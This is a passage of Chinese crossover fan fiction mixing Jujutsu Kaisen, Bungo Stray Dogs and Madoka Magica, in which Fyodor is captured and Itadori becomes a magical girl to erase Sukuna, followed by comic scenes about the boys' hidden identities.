两个少年听懂了对方的意思，立刻警惕地摆出随时准备战斗的架势。 伏黑惠先召唤出了自己的式神玉犬，虎杖悠仁也攥紧了拳头，他们身上的咒力火焰都熊熊燃烧着。 咒术师啊，有点麻烦了。 费奥多尔这么想着，不过却也没有太过为此头疼，毕竟…… 他往前踏了几步，动用这具身体所拥有的术式。 面前的两个少年随即便感受到周围变得非常沉重，难以想象的重力忽然降临，仿佛千钧重担压在了他们身上。 他们顿时什么都做不了了，连站着都困难，没坚持多久就被压倒在地。 “……咳……费奥多尔……” 伏黑惠艰难地呼吸着，目光紧紧锁在对方身上。 “你认识我？哦，是五条先生说的么。听说他还做着老师的工作，你们就是他的学生吧？” 费奥多尔慢条斯理地说着：“看你们的年纪，应该才入学咒术高专不久，但至少也能够知道咒术师之间的等级差距吧。” “——你们是不可能战胜特级术师的。” 伏黑惠握紧了拳。 他现在只是二级术师。 确实按理来说，就算再来上百个跟自己同样等级的咒术师，或者是对方受了重伤……都无法有反杀对方的机会。 但他也不可能就这样轻易接受死亡。 况且……伏黑惠还有别的底牌。 他还没有尝试过在变身魔法少女之后，与咒术师进行一次战斗。 所以现在，要在这里变身吗？…… 在伏黑惠即将下定决心之时，突然有意料之外的动静发生。 “咻——” 一支箭矢破空而来，穿透了这家甜品店的玻璃，直接射中了店里费奥多尔的腿部，鲜血顿时大股涌出。 费奥多尔措不及防，身体因此失去平衡，单膝猛地跪倒在地。 伏黑惠也先是一惊。 不过，他反应得很快，毕竟这样的场面也不是第一次发生了，他当然能够快速意识到是谁出现了。 让他熟悉之余，又下意识地感觉心顿时安了下来。 ……有朔夜在应该就没事了。 他将目光挪过去，看着朔夜拿着弓踏进了这家店里。 白发少女脸上依旧没什么表情，冷静的样子像是早就预料到了这里的场面，抑或是有着绝对强大的实力，完全无惧任何对手。 伏黑惠虽然也知道朔夜实力很强，但却没料到……对方对付特级居然也这么轻松。 真够离谱的。 明明大家都是魔法少女吧。 费奥多尔倒也没想到，这个时候会突然冒出来个袭击他的人。 ……朔夜是怎么突然找到这里来的？ 费奥多尔忍着痛迅速思索着，这些天经历的所有事情都被串联了起来，他终于想通了朔夜的行为逻辑。 “真是好算计啊，朔夜小姐。” 对方早就知道了他的异能。 所以才为此找到了他，让他暴露在公众视野之下，想方法使他被这具身体的上个拥有者盯上。 她彻底地算计好了他们的心理，引导他们一步步走向如今的局面。 再提前注意着这具身体上个拥有者可能出现的一些地点，等待着哪里有异常动静了，便及时出现来收获胜利。 真是一箭双雕的计谋。 费奥多尔总是掌握着一切、算计别人的那个人，却没想到自己某一天会完全沦为别人的棋子。 “军警很快就会来了。” 朔夜看着他，淡淡地说道：“我说过，你离开的时候，我会帮忙送你的。” 费奥多尔面色难看。 他明白自己将会被送进默尔索监狱了。 进入默尔索监狱本来是他计划里的一环，但现在他却不是回到了正轨，而是彻彻底底地失败了。 毕竟，朔夜既然这么了解他的能力和性格，就肯定不会让他从监狱里离开。 估计把他放在监狱里，也正是因为想将他的异能当作后手，预留着看之后能不能派上用场吧…… 真是的，魔法少女这种存在到底是从哪里冒出来的？？！ 第130章 最后，费奥多尔还是忍不住问：“你是怎么知道我的异能的？知道这个的人应该早就死完了才对。” 而朔夜自然不可能回答他。 “……” 安静地等待了一会儿后，提前叫来的军警终于赶到了这里。 看着这里的场面，那些装备齐全的军警心情皆有些复杂。 他们被半是威胁半是利诱地与魔法少女达成了暂时性的合作，但也只是在朔夜够强的武力值，以及异能特务科参事官及其助理的说情下才勉强答应的。 合作的内容也只是，魔法少女帮他们抓住死屋之鼠头目与一个极其危险的诅咒师，之后对其的处理便要一起商讨。 虽然军警这方答应了合作，但先前没想到对方真的帮了大忙，给他们提供的那些听起来非常离谱的情报竟然都是真的。 幸好能够抓到这个目标。 不然以费奥多尔和羂索的能力，今后肯定得给这个世界造成大乱子。 这下子还真是欠了魔法少女不少人情。 这些曾经对魔法少女态度不怎么样、甚至坚决不相信朔夜告知的信息的军警们，此刻看见朔夜的时候，眼神都有点闪烁。 不过秉持着专业素养，他们还是尽量没表现出尴尬的情绪。 按照流程，他们快速给费奥多尔注射了高浓度的催眠药剂，并用特殊材质的工具将其牢牢束缚住。 然后向朔夜示意告别，准备将费奥多尔送往负责关押他的地方。 看着军警的人离开，朔夜本来也不打算继续留下。 但是刚要走之时，五条悟就好巧不巧地终于赶到了，堵到了店门口。 “诶呀，这里发生了什么？怎么把好好的甜品店弄成这个样子，简直太过分了吧。” 五条悟左右望了望，又看向朔夜问道。 “朔夜酱，你知道发生了什么吗？” 白发少女沉默了几秒，重复道：“朔夜……酱？” 五条悟点点头，很自然地说：“毕竟是友好的合作伙伴，关系都这么熟了，这样称呼也没问题吧。” 伏黑惠无力捂脸。 这样称呼朔夜听起来确实很奇怪啊，不愧是自来熟的五条老师。 他都担心朔夜会感觉被冒犯、然后直接离开。 不过没想到白发少女垂了垂眼眸后，却没再在意这个称呼，而是跟五条悟简练地解释了刚才的情况。 ——包括羂索这个人的基本情报、费奥多尔的异能效用，还有最后费奥多尔占据羂索身体后被军警带走的结果。 这些事情听起来足够精彩。 连见多识广的五条悟都感慨了一句：“真是让人大开眼界。” 而旁边的两个少年已经神情恍惚了。 尤其是知晓了羂索是自己母亲的虎杖悠仁，他脸色都快僵成木头人了。 朔夜提示五条悟道：“羂索既然已经死了，他留下的那些势力也就无主了。” 活了上千年的羂索，附身过无数术师，为了自己的计划可以提前数百年开始布局…… 这样的一个人，在咒术界里所掌握的势力肯定难以想象。 五条悟也想到了这些。 他忍不住叹道：“哇，你的计划环环相扣，原来目标竟然这么远大。你是想取代羂索……” “不是我，是你。” 朔夜打断了他的话，说道：“这样，你和你背后的五条家就有着足够的实力和势力，完全可以借此掌握咒术界。” 五条悟缓缓地眨了眨眼睛。 “我？” “这种事情听起来……是不是太具有反派气息了啊？” 朔夜不以为意道：“你可以做到的。等到你有了足够话语权之后，魔法少女们与咒术界的合作也便顺理成章了。” 本来伊江朔久在了解咒术界的情报之后，就对那些老橘子没什么好感。 如今在魔法少女们想与咒术界缓和关系的时候，那些人显得不情不愿，还以一种上位者的态度不客气地对待她们。 那么，也便没有必要与老橘子们好好交谈。 只要想办法站在他们头上，对他们不断施压就行了。 朔夜直接问五条悟：“你不想这么做吗？不想现在就改革掉这个腐朽陈旧的咒术界吗？” 答案一目了然。 要是五条悟不想的话，根本就没必要待在咒术高专当老师了。 果然，五条悟简单想了想，就很快接受了，笑着说： “我就知道我和朔夜酱会很合得来……不过我还挺好奇的，朔夜酱怎么会了解这么多关于咒术界的情报呢？” 朔夜糊弄过去：“获取情报的方式当然是秘密。” 五条悟看起来十分失望：“这样啊。” 朔夜及时转回原先的话题：“关于羂索留下的势力，如何改革咒术界，还有与魔法少女合作的这些事情……我们找个地方好好谈一下吧。” “没问题。” 五条悟很快答应，不过顿了顿后，又问道：“我的一个朋友对这件事也很感兴趣，能叫上他吗？” 很显而易见，五条悟的朋友自然指的是夏油杰。 朔夜：“可以。” “对了，关于魔法少女的事，” 五条悟看向伏黑惠，热情道：“惠要一起来吗？毕竟你是穗酱的……” 他话还没说完，伏黑惠便立刻阻止他继续说下去，迅速回应道：“不用了，我就不去了！” 太危险了，感觉到掉马风险很大的伏黑惠果断拒绝了。 “我和虎杖还是现在一起回高专吧。” 五条悟看了看明显状态不佳的虎杖悠仁，便说道：“好吧，你们回去好好休息。” 伏黑惠点了点头，然后道别之后，就拉着虎杖悠仁往高专的方向回去。 与此同时，伊江朔久悄悄将意识分出去一半，用了丘比的马甲，也跟在了那两个少年身后。 羂索和费奥多尔这两个危险的敌人已经解决了。 但是，伊江朔久当然还没忘记，咒术界最大的反派究竟是谁。 也是时候该处理两面宿傩了。【你现在阅读的是 】 130-140 第131章 回去的路上，虎杖悠仁一直神情恍惚。 要不是伏黑惠帮忙看着，估计他都不知道不小心撞了多少次墙了。 伏黑惠挺担心的。 虽然他不擅长宽慰别人，但依旧绞尽脑汁想着安慰的话： “你还在意着自己的身世吗？其实，父母是谁也不是很重要。你已经是独立的人了，过去并不会怎么影响未来……” “会影响的。” 虎杖悠仁突然闷闷地开口说道。 伏黑惠从来没见过这个样子的虎杖悠仁。 对方往常都是很乐观的。 就算被咒术界判处为死缓，也没有整日忧心死亡的事情，而是非常积极地做着咒术师的工作。 看来这种事对他的打击真的很大…… 伏黑惠斟酌着不知道该如何继续安慰。 虎杖悠仁先说道：“我的出生是被计划好了的，那么……成为宿傩的容器大概也不是偶然。” 现在回想起之前被迫吞下宿傩手指的事情，虎杖悠仁就觉得其中充满了刻意性，那两个特级咒灵绝对是故意这么做的。 “我本来以为，收集完所有手指然后消灭宿傩，这是对他人有帮助的事情。” “可是现在好像根本不是这样，我一直以来的行为都被别人看在眼里，我是他们计划中重要的一环。” “只要我继续活着，就会被利用着用来复活宿傩。万一真的让宿傩借此活过来，那肯定就糟糕了。” 伏黑惠看向垂着头的虎杖悠仁，一时间愣了愣。 这些话要是让其他人听见，那虎杖就会陷入非常不利的处境。 不希望两面宿傩重新降临世界的那些人，一定会想着杀掉虎杖，提前阻止那样糟糕的可能性发生。 ……甚至就连虎杖自己估计也会这样想。 但和虎杖已经相处过这么久，伏黑惠无法轻易选择放弃他，于是说道：“可是羂索已经死了。不管原先他计划了些什么，都不会再成功了。” “总会有万一的情况的。” 虎杖悠仁没办法说服自己全然安心下来，拿这么重要的有风险的事情去赌。 “而且，那两个特级咒灵应该都还活着，还可能有其他诅咒师或咒灵想要羂索原定的计划……” 虎杖悠仁说着说着，右脸上突然长出了一张嘴，那是他体内的两面宿傩不满地开口插话了： “小鬼，你就这么不想活吗？？” 虎杖悠仁立刻不客气地拍在那张嘴上，道：“这和你无关。” 那张嘴消失后，又从他的左脸上重新长出来。 “和我无关？” 虎杖悠仁面无表情地说：“我的身体只有我自己可以做主。” “呵，你真的以为没有你，我就没办法再活过来了吗？区区一个小鬼而已……这段时间以来，你体内不过也就收集了我四根手指，这仅仅是我一小部分的力量……” 虎杖悠仁继续用手拍到那张嘴上，完全不想听他说话：“太吵了。” 那张嘴随即消失了…… 然而紧接着，又有个声音从下方传来。 ‘虎杖君，或许我可以帮助你。’ 听到这声音的第一时间，虎杖悠仁还以为是两面宿傩又将嘴巴长到了别的地方，比如腿部或者脚部之类的。 但是他也很快反应过来这不是宿傩。 这声音听起来格外甜美无害的样子，和宿傩的声音一点也不相似。 可是……他明明没有提前感知到有什么人靠近啊？！ 虎杖悠仁立刻警惕地低头望过去，身体做出戒备的姿态。 然而，这时他才注意到自己脚边不知何时出现了一个奇怪的白色生物。 他从来没见过有这种动物存在。 不过，它的样貌倒是非常可爱，甚至到了有点不真实的程度。像极了由人类专门定制的吸引顾客购买的毛绒玩偶，一看就会很受欢迎。 虎杖悠仁疑惑又茫然地盯着它。 ……这是什么东西？咒灵吗？ 那白色生物应该是看穿了他的不解，主动先自我介绍道：‘我是丘比，只有特殊的人可以看见我。虎杖君你有成为魔法少女的资格呢，愿意和我签订契约吗？’ 好奇怪，它说的每个字虎杖悠仁都认识，可是为什么连起来就听不太懂了呢？ 虎杖悠仁迷茫之际，下意识看了看旁边的伏黑惠。 结果，却发现伏黑惠此刻也直直地望着丘比，脸色意外的很复杂，包含了诧异、难以置信、怀疑等等种种情绪。 虎杖悠仁喊了声：“伏黑？” 伏黑惠猛然回过神来。 虎杖悠仁从他的动作和神情里好像看出了一点慌张。 更奇怪了…… 伏黑这是认识这个白色生物？ 难不成这个叫丘比的真和魔法少女有关系吧？？！ 虎杖悠仁想起小时候曾经听过的关于魔法少女这类作品，貌似确实一般都会有个契约兽，和少女们签订契约使其成为魔法少女。 但还是不对劲吧。 虎杖悠仁犹豫了两秒，问道：“你刚才说了什么？” 丘比耐心很好地说道：‘我叫丘比，希望能和你签订契约。如果你能够答应成为魔法少女的话，我就可以实现你的任意一个愿望。’ 果然很不对劲啊。 虎杖悠仁表情奇怪。 两面宿傩又在他脸上长出了嘴巴，忍不住抢先嘲讽道：“哈哈哈哈哈什么幼稚荒谬的谎言，这样是不可能骗到这小鬼的。” 虎杖悠仁又双叒叕地再次将这多出来的嘴巴干脆打掉，不过……他也确实难以相信丘比的话。 ……男性怎么可能成为魔法少女呢？这两者完全就搭不上边的。 更何况他记得丘比刚才说，只有特殊的人才能看见它。 这个谎言太容易被揭穿了。 毕竟，伏黑不就也能够看见它嘛。 第132章 虎杖悠仁直接问伏黑惠道：“伏黑，你能够看见它，对吧？” 伏黑惠可疑地沉默了。 他想否认，但是……虎杖会相信吗？ 刚才听见丘比说希望与虎杖签订契约的时候，伏黑惠实在是太过诧异了，脑海中一时闪过了无数个乱七八糟的念头，所以根本忘了掩饰自己的神情。 现在再想辩驳已经来不及了吧…… 虎杖悠仁有点不理解伏黑惠的神情。 说起来，自从看到丘比之后，伏黑就变得怪怪的了。 虎杖悠仁不由得担心地问：“伏黑，你怎么了？” 伏黑惠僵硬地说：“我还好，真的还好，没事的……” 这听起来不像是没事的样子。 不过，虎杖悠仁倒也没有在这个时候揭穿他，还是想着先处理完这个奇怪的白色生物的事情。 “那个……丘比是吧，你还是说真话比较好，不然我会直接把你交给五条老师处理。” 虽然丘比的样子看起来很可爱无害，但是虎杖悠仁还是没怎么对其放松警惕，依旧怀疑对方可能是什么不怀好意的咒灵。 要不是看伏黑惠应该认识它，虎杖悠仁也不会选择先尝试跟丘比好好说话。 丘比却只是歪了歪头，态度依然如常地说：‘不好意思，可是我说的全都是真话。’ 虎杖悠仁：“……” 虎杖悠仁深吸一口气，说道：“别开玩笑了，你说什么只有特殊的人才能看见你，说我有成为魔法少女的潜力……” 丘比点点头：‘确实如此。’ 这个时候，再好脾气的虎杖悠仁也觉得很难再跟这家伙继续交谈了。 “怎么可能？！伏黑他明明就也能看见你！更何况我是男性，男性怎么可能成为魔法少女？！” 虎杖悠仁扭头对伏黑惠说：“你说对吧？！” 伏黑惠突然有些想要直接从这个世界消失。 “我、你……对的，”他结结巴巴地说着：“男性怎么可能成为魔法少女呢，怎么可能呢……” 伏黑惠都要听不下自己说的话了，他也知道自己说的很糟糕。 可是这种时刻，他怎么能够静下心来，用之前已经熟练了很多次的说谎技巧来掩盖过去…… 绝对掩盖不了的。 毕竟丘比就在这里。 除非他能把丘比灭口，否则再怎么狡辩，也只是拖延一点暴露身份的时间而已。 虎杖悠仁从伏黑惠的态度中隐约看出了点什么，不可置信地望着他。 伏黑惠却下意识地垂下了头，无法和对上对方的目光。 丘比在这时候又说了一遍：‘我说的是真的。’ 空气之中的氧气仿佛被突然消失了那么几秒，导致每个人都屏住呼吸，让周遭安静地有点诡异。 虎杖悠仁最先忍不住开口：“……不会吧，可是、可是禅院穗不是你的女朋友吗？她不就是女性吗，魔法少女只应该会是少女啊！” 伏黑惠将头放得更低了一些，仿佛想要直接把自己埋起来或缩到地缝中去。 ……这话他怎么回答？ 虎杖悠仁不理解地看着他，问道：“难不成……禅院穗不是女性？你……” 接着虎杖悠仁又立刻想起来：“可是，不对吧，我记得你之前有带了一些女装，上次还被钉崎给发现了。” “那些衣服不是给禅院穗的吗？她应该就是女性吧，怎么可能不是……” “别说了！” 伏黑惠终于还是开口了。 他此刻面部已经火辣辣地红了一片。 其实他根本都不想再开口说话了，但是实在听不下去了，这简直是一种慢性死亡的酷刑。 太令人社死了。 被知道自己是魔法少女已经是一件够难堪的事情了，就别再提他在私底下买女装穿女装了。 虎杖悠仁脸上的表情很是错愕。 伏黑惠便抢先道：“好吧，男性确实可以成为魔法少女。实现任何愿望的机会也是真的！所以你完全可以和丘比签订契约！” “……？？？” 虎杖悠仁默默在心底打出了几个问号。 而伏黑惠的想法很单纯。 只要大家都一样，那就不会社死了，毕竟谁都不能嘲讽和自己一样的人。 “和丘比签约之后，你就能实现任何一个愿望。不过，也就等同于要背负上与魔女战斗的使命……你会愿意吗？” 伏黑惠直接揽过了丘比的工作，为虎杖悠仁介绍着魔法少女的详情。 一时间知道的信息量太大了，虎杖悠仁听得很是头疼，竭力消化着这一切的含义…… 什么啊？ 男性可以当魔法少女？还能实现任何一个愿望？？ 还有……伏黑他不会就是禅院穗本人吧？？！ 等等等等等等…… 他还是很难接受这些事情，让他再消化一会儿吧…… 不过，在虎杖悠仁陷入沉默的时候，两面宿傩倒是又忍不住冒了出来，用变化出来的嘴巴说道： “喂，小鬼你不会真的信了这种事情吧？实现任何愿望？呵，连神都做不到这一点吧。” 确实很有道理…… “任何”这个词的范围也太广了一些。 稍微有点常识的人都很难相信这个。 虎杖悠仁抿着嘴，却仿佛依旧在纠结着什么。 丘比见状刚想开口，便听伏黑惠先发出声音：“这个……我一开始也很难相信，但它确实让我昏睡了一年的姐姐醒过来了。” “而且其他魔法少女应该也都是这样，签订契约、实现了愿望的。否则她们不可能听丘比的话，一直好好地做着魔法少女的工作。” 虎杖悠仁犹豫许久，终于说道：“那就……试一试吧。” 比起两面宿傩或是丘比来说，他当然更愿意相信伏黑的话。 况且，不管怎样，结局都不会更加糟糕了。 总不能去赌那个……‘两面宿傩不会借助他身体复生’的万一吧。 第133章 “喂喂，小鬼，你们到底都是怎么想的？！” 两面宿傩有点不理解他们是怎么想的了，为什么会这么认真地讨论起这种荒谬的事情。 自认见识远超这两个小鬼的他，自然不会随随便便相信这些话。 毕竟漏洞实在是太多了。 ——那个完全感知不到有什么实力的白色不明生物，不合逻辑的能够实现任何愿望的机会，天上掉馅饼般、付出与回报并不等价的契约…… 怎么听怎么离谱。 感觉大概只有未成年的孩子才能够相信这种话吧？ 就算有一些证据可以为此做证明，但也不足以让别人相信，只会令人怀疑这背后是不是隐藏着什么巨大的阴谋。 或者说……这该不会是这两个小鬼连同那只动物一起在哄骗他吧？ 这么做对他们有什么好处吗？ 两面宿傩实在想不明白，但敏锐的感知力却让他隐隐约约地觉察到，自己似乎要陷入某种危险的处境之中了。 可是为什么会这样？ 就凭这几个弱小的家伙？？ 两面宿傩觉得这大多可能是自己的错觉而已，不过他还是不爽地抱怨道：“怪不得你们会被那个羂索耍得团团转，没想到居然这么天真……反正我是不会相信什么可笑的魔法少女的。” 然而，这话并没有管什么用。 甚至虎杖悠仁还更坚定了几分决心——既然两面宿傩不希望他这么做，那就更能证明这么做可能是有效的。 虎杖悠仁直接问道：“该怎样签订契约？” 丘比给他解释：‘谨慎地想好你希望实现的愿望，然后只需要将愿望亲口完整地告诉我一遍，我就可以与你签订契约了。’ 听起来好像很简单。 虎杖悠仁仔细地想了想后，刚准备开口，伏黑惠和丘比便几乎是同时出声道：“等一下。” 虎杖悠仁疑惑地愣了下。 丘比问了句：‘要在这里签约吗？’ 伏黑惠非常尴尬，他真的不想在虎杖面前回忆自己成为魔法少女的过程了，但是却不得不提醒道： “契约达成的那一瞬间，你会……咳咳，直接变身成魔法少女。” 虎杖悠仁虽然已经做了心理准备，但亲耳听到这种话，还是觉得非常别扭。 “变、变身？” 男性变身的时候，直接性转成少女……这也确实很不正常吧？ 不过，伏黑惠和禅院穗就是活生生的例子啊。 虎杖悠仁下意识回想起禅院穗的样子，完全是一副少女的模样…… 话说，他和禅院穗在饭店里第一次见面的时候，他还不小心弄脏了对方的衣物……对方当时的表现也和真正的女孩子很像啊。 果然，不愧是伏黑。 真是个尽职的魔法少女。 虎杖悠仁忽然有些担忧，自己能做到像伏黑这样吗？感觉不是一点的困难啊。 伏黑惠看着虎杖悠仁的神情，眼角不由得抽了抽。 ……总感觉虎杖是不是在想一些过分的事情。 好吧，是他有点应激了。 因为刚发生了身份暴露这种恐怖的事，所以他现在随时都觉得虎杖在心底奇怪地想他……这也太恐怖了。 他过往的形象全都没了。 但不管怎样，还是别让虎杖再瞎想下去了吧……于是，伏黑惠立刻说道：“所以你想在这条街上直接变身吗？” 虽然因为刚才人群看到羂索的可怖样子纷纷尖叫逃走，闹出了很大的动静，这街上附近一时间都没多少人继续逗留了。 但是这只是暂时的，很快就会有别的不明情况的路人再走过来。 所以，在这里变身肯定是个糟糕透顶的选项。 虎杖悠仁连忙摇头：“还是换个地方吧。” 丘比完全不着急，非常贴心地道：‘都行，我可以一直跟着你，只要你想好了就可以随时找我签约。’ 虽然丘比这么说了，但是虎杖悠仁还是有点纠结。 他现在是住宿在咒术高专的，平常也没有什么别的地方可去，但总不可能在高专里签约吧…… “契约完之后，很快就可以解除变身。” 伏黑惠也算是熟练地对后辈解释道：“所以随便找个无人的小巷子速战速决就好。虽然应该会暴露一些光亮，但我也能够带着你快速离开的。” 闻言，虎杖悠仁便答应了。 他们七拐八绕，避开监控和路人，躲到了一个阴暗逼仄的巷子里。 虎杖悠仁稍微紧张地深呼吸了几下，便对着丘比道： “我的愿望是，彻底消灭诅咒之王两面宿傩，让他再也不能受肉重生去伤害他人。” 听着这句话的时候，他体内的两面宿傩还并不怎么在意，只觉得好笑。 许愿怎么可能解决问题？ 从来都没有什么神明会回应信徒的祈愿。 但在虎杖悠仁话音落下的时候，他的体内猛地迸发出一种梦幻般的粉色光芒，仿佛身体里的什么东西被抽取了出来。 光芒越来越盛大，铺天盖地般席卷了这条不大的巷子。 契约成立了。 与此同时，两面宿傩却真的感觉到自己的力量在以肉眼可见的速度消逝…… 怎么会这样？！ 两面宿傩难以置信地竭力想要挽回，却怎样都无法发挥力量。 就好像……在虎杖悠仁许下愿望的时候，他的死亡便成了注定的结局，已经被写在了书本上一样。 而历经了这么多事情，已经比较相信魔法少女设定的伏黑惠，自然不会对宿傩的抹除感到惊讶。 伏黑惠就静静地站在一旁，淡定地看着虎杖脸上因为宿傩而有的印记慢慢消失。 不过，他心底还暗暗期待着，等下能看到虎杖变身之后的崭新模样。 只要能见到虎杖性转的样子……那么，他在这种事情上应该也就和虎杖打平了吧？ 第134章 在这里的光芒渐渐淡下去之后，伏黑惠如愿见到了变身性转后的虎杖悠仁。 面前的少女上身穿着立领卫衣，衣服连接着有着虎耳外形的兜帽。发丝从兜帽前沿垂落，发梢逐渐由粉色渐变为黑色的发色非常独特。 另外还穿着一条不规则式的半身裙，搭配着针织堆堆袜，手腕上戴着的粉红色宝石手链流光溢彩。 看起来洋溢着满满的个性与活力。 少女不习惯扯了扯裙摆，用棕红色的眼瞳看向伏黑惠，别扭地出声道： “这样……就算是契约成功了吧？该怎么变回去？” 显然她已经迫不及待想要解除变身了。 看着虎杖悠仁这个样子，伏黑惠从刚才起就一直因掉马而产生的尴尬不安，此刻不由得缓和了许多。 这视角像是看到了过去的自己一样，给人颇有新奇感。 伏黑惠为虎杖悠仁耐心地讲解着：“这很简单，只需要在心底想着解除变身就好。还有灵魂宝石，只有靠它才能变身，所以是非常重要的，平时需要随身携带。你也可以用意念将其改变形状……” 他滔滔不绝地讲了很久很久。 之前他是新人，其他魔法少女和他签约的时间大概也差不多，除此之外应该就只有朔夜比她们都要经验丰富。 所以，平常只有朔夜和丘比给她们讲解这些的份，伏黑惠这还是第一次教导他人，体验了一下当前辈的感觉。 感觉还挺不错的。 而虎杖悠仁按照伏黑惠说的，解除了自己的变身，随后努力地记下这所有的知识点。 “对了，你还需要取个假名才行。” 伏黑惠突然想到：“到时候和其他魔法少女见面的时候，就方便直接报出假名来称呼了。” “假名？可是我不太擅长取名字……” 虎杖悠仁苦恼地想了想，说道：“詹妮弗怎么样？” “不行。”伏黑惠果断拒绝：“我知道你喜欢詹妮弗·劳伦斯。但是虽说是取假名，可也不能这么随便吧？” 虎杖悠仁看起来更头疼了。 伏黑惠说道：“毕竟是另一个身份要一直用的，简单顺口的女性名字就行。” 虎杖悠仁努力思考了一番，用到了伏黑惠取名禅院穗的灵感，最终想好了一个名字。 “……悠衣Yuui，可以吗？” 伏黑惠点头，说道：“听起来不错，悠衣。” 被这么称呼的虎杖悠仁耳尖都忽地红了一片，提高了些声音道：“伏黑！” “你还是要多熟悉些被这么称呼才行，而且变身后的行为举止也要注意贴近女性化。” 伏黑惠忍着笑提醒道：“其他魔法少女都挺敏锐的，如果你不能提早适应，肯定会被她们察觉到不对的。” 闻言，虎杖悠仁忍不住问：“其他的魔法少女都是些什么人？” 原先虎杖以为他在魔法少女网站上关注了她们许久，对她们是有那么一点了解的。 可是如今自己都变成了魔法少女，他才发现似乎自己之前想的还是太天真了一些。 伏黑惠沉默了。 很好的问题，他其实也想要知道答案。 原本他一直觉得自己作为男性成为魔法少女具有特殊性，但是今天丘比当面问虎杖是否愿意签约，让他产生了无尽的怀疑…… 魔法少女不会其实都是男性吧？？ 这个想法太恐怖了，最终他还是努力安慰自己，应该不会的。 津岛平日里一看就是一副JK的样子，之前网上还流传过很像艾尔菲的某个少女的照片…… 所以说，应该不至于全都是吧（？） 伏黑惠不确定地说：“我不清楚她们的具体身份，不过也相处过不少的一段时间了，每个人大概的性格也还算明白，都可以给你讲……” 然而这时，虎杖悠仁的手机连连响了好几下，同时伏黑惠的手机也振动了。 他们两个打开手机，就发现高专一年级的小群里，钉崎野蔷薇发了很多消息。一个人就刷了屏。 虞二熙二彖二对二读二嘉二 【你们怎么还不回来？】 【我都饿了，说好给我带的小蛋糕和奶油大福呢？！】 【可恶QAQ，你们就算是排了一个小时的队，也不至于回来得这么晚吧？】 【……】 虎杖悠仁和伏黑惠表情双双一僵。 糟糕，他们早就把这种事情忘到脑后了。 伏黑惠：“其他魔法少女的事情，我之后再慢慢给你讲吧。” 虎杖悠仁：“赞同，我们先去附近再找个别的甜品店吧。” 不过，在两人回复完钉崎野蔷薇的消息，准备去找附近的甜品店时，虎杖悠仁又想到了一件非常重要的事情： “两面宿傩突然被消灭的事……该怎么给别人解释呢？” 伏黑惠说道：“能实现任何愿望的机会绝对不能说出去。” 虎杖悠仁明白其中的道理：“也是。” 但是这样的话，就只能够说谎了。 还得仔细斟酌，绝对不能让其他人，尤其是那些咒术界高层发现他的谎言。 显然这不是一件容易的事情。 伏黑惠也跟着苦苦思索半天，随即说道：“我们能够临时编造的谎言，大概是没办法瞒住所有人的。不如……就只说你什么都不知道好了。” 往往越是聪明、有势力的人，就越是自信多疑。 他们会因为觉得掌控了虎杖的所有信息，而对其放松警惕。还会过于思考，猜测背后可能会有的一些敌人与阴谋。 虎杖悠仁点了点头。 “只能这样了，我实在不会编什么理由。” …… 不过，虽然对外说完全不知道宿傩是为什么消失的，这只是虎杖悠仁无奈之下做出的选择，但一切却进行得很是顺利。 第135章 即使虎杖悠仁只能回答说自己什么都不知道，两面宿傩是莫名其妙一下子就从他体内消失不见的…… 可并没有多少人因此为难他。 连高层那些腐烂的老橘子们，都只是在刚开始的时候，多次向高专施压要求其将虎杖悠仁转交给他们…… 但被拒绝了几次之后，他们也暂时顾不上关心这种事情了。 还有更重要的事，急需这些老橘子们头疼。 比如，咒术界高层近期一些势力莫名其妙产生了动荡，五条家突然有一跃成为御三家之首的架势，还开始频繁插手高层决策，最强咒术师五条悟公然和他们唱反调…… 这对于非常在乎权势地位、思想腐朽的高层们来说，无疑是要了他们的命。 所以原本两面宿傩离奇消失的这种大事，如今也就显得没那么至关重要了。 而同样的，五条老师这段时间也很忙。 忙着与咒术界高层周旋，还要帮助合作方的魔法少女慢慢融入咒术界…… 很难得才能看见五条老师几面。 不过，虎杖悠仁不知道是不是自己太过心虚后产生的错觉——偶尔见到五条老师时，觉得对方看他和伏黑惠的眼神越来越奇怪了。 但是五条老师也没有直说…… 或许对方想不到男性也能变成魔法少女这么离谱的事情吧？ 无法确定。 而且，虎杖悠仁这些天自己其实也非常忙，根本没什么时间多想。 因为是新人魔法少女，他需要接受朔夜的训练，尽快熟悉起自己的能力，慢慢试着与魔女作战，还得和其他魔法少女进行磨合。 尤其是，魔法少女们的事业如今正处于关键的转折期，分担给他的压力就更大了些。 在背后抹黑她们的两个主要敌人羂索和陀思已经被解决了，且借由目前正在慢慢掌握咒术界的五条悟的帮助…… 魔法少女们逐渐走出了原先的低谷，局势也开始变得对她们有利起来。 由于在咒术界有了一定地位，因此其他几方势力对魔法少女不再像当初那么排斥。 再加上先前做下的铺垫，她们慢慢与军警和公安高层缓和了一些关系，还有合作方的港口黑手党帮忙为她们做公关，伊江朔久也毫不客气地偷偷借用组织的势力和情报帮忙…… 就像是被堵塞已久的水闸，突然打开了一个小小的缺口。之前被拦下的那些洪水，便在此刻终于倾泻而出。 所以，当然得抓住眼前的机会，努力尽快发展起她们的势力来。 于是如今，虎杖悠仁比当初刚成为魔法少女的伏黑惠还要更加忙碌得多。 好在伏黑惠很有情谊地一直帮衬着他。 可是，这样就造成了一个糟糕的局面。 ——东京咒术高专一年级里，仅有的三个学生中的两个隔三岔五地请假，教室里常常只剩下钉崎野蔷薇一个人。 直到钉崎野蔷薇终于忍不住了，某天找机会抓住他们就开始审问： “你们两个这段时间到底是怎么了？两个人都天天各种请假逃课，这也太过分了吧。” 伏黑惠和虎杖悠仁心虚地齐齐低头。 “整个教室经常就剩下我一个人，简直像是老师在跟我一对一辅导，还总是有人问我你们去哪里了。可是我怎么知道啊？！” 虎杖悠仁声音弱弱地道：“抱歉啊，钉崎。” “尤其是你，虎杖！” 钉崎野蔷薇的情绪更激动了，痛心疾首似的道： “本来只有伏黑一个人这样，你之前明明也跟我站在同一个阵营的！为什么突然就叛变了？！！” 虎杖悠仁非常不好意思，但是这种事情实在无法说出真相。 难道要说你的两个男性同学请假逃课，是为了在外面当魔法少女吗？ 太社死了，会被嘲笑一辈子的。 他半天才说出这么一句：“……这、这都是意外。” “哈？”钉崎野蔷薇不满道：“什么离谱的理由！？” 虎杖悠仁可怜巴巴地看着她。 钉崎野蔷薇冷哼一声，又将目光投向伏黑惠：“对了，这件事是从你这里起头的，是你把虎杖带坏了吧。” 伏黑惠无奈扶额：“抱歉抱歉。” “你们还想不想好好做咒术师了？这样下去，今后你们连业都毕不了……” 钉崎野蔷薇说着说着，忽然想起了前不久训练课上，这两人莫名增强了不少的身体素质…… 